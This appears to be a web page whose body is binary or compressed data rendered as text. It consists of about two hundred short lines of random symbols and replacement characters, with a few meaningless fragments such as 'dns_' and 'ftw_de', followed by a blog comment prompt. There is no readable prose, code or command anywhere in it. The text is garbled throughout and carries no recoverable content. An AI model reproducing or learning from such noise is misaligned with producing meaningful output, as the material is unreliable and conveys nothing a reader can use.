?X?F$|
?VM??
f?V?+?
Ql??RY
F{dns_
0J?W
d?Ku"?
??U?"[
KɱXE
??T?n?
?/t?t
ks??>3
??????
e'K	?x
|??p??
?g??}[
+?E?:?
X?
*?F("?
o5I?
?Vd???
??3??
v?"v??
??jw
?Y?PkY
??7`?V
?'??h?
4D
  !B?
????݇
?O'k

??}#
9?
  ??
㋣T
lρC?M
?|??3?
???3I
22\??
әn???
!v۵_?
??G
/2>C?
?|3?[
?px?<?
?xU??
?Jf?~
?̓;I
Λub?
5?
?2+\?Q
3xf1l_
2NGn??
%~gOy?
Cܔ???
?p
???/??
R?y`?4
?8????
?.?
\??wa?
???
M?մ8
?M??
???(?\
???c?
3l?ҟ?
??_?k
?-???
'??NV;
X?ƌ
S)
  ??
??)?W?
???P??
k?ʮ??
4?????
????R
a
?ڑ
lBIZ??
???
_-
?S?1l?
??&,?
{??şv
JNѝ??
	?W]qr
?k???
ftw_de
??1o?
?_2sb
7?^KC?
??<?
J`??
<P????
?'??:?
t%??
7??z?
h?'?
??z??
~?A?,
?4?8?
H?	??
?	C?ٻ
|?????
?]?[?
PZ???,
?a???
hp7?
k?{?+W
??%>|?
=?"?|
?;t?-

&vj}?
,.@GM&
??ah?
adbeef
OQj?
??ꉱ?
?o??,{
WE?$ԑ
?????
?
 ?G??
?ь?	
?!̳-?
,?-?"?
??y?G
????c
CR?|?
844???
???a?
%B??F'
ye'???
e???D?
?Q?V?
l????5
a
 ??#?
V???t?
?Yv
?N??
??G
?@g"?2
?(\e?
3??1m
???W
?"??0?
ǒ?u??
?>?Ԩ?
6???%?
4??r?n
??????
A??V?3
}
?>??͉
?|????
k?K???
b;?kSm
??T?j.
?????
??u-?h
?UG??
??Fh
    ?
y??|d\
7??t?
??+\??
?P
  ???
z??
?
w?%
??#A
?????
??
  Y?Y
n??1i
錎y??
ק?R?
?+(??
/?rb?
?oJ?
a???U
#??潟
???k?
;??Ƨ?
&?
$ΐ
Ѳ?+?
?E??"
$&??
?i/?
c=?ݠV
??V|
??S
   ?w
?O??M
3?S??
}

Leave a Reply

Your email address will not be published.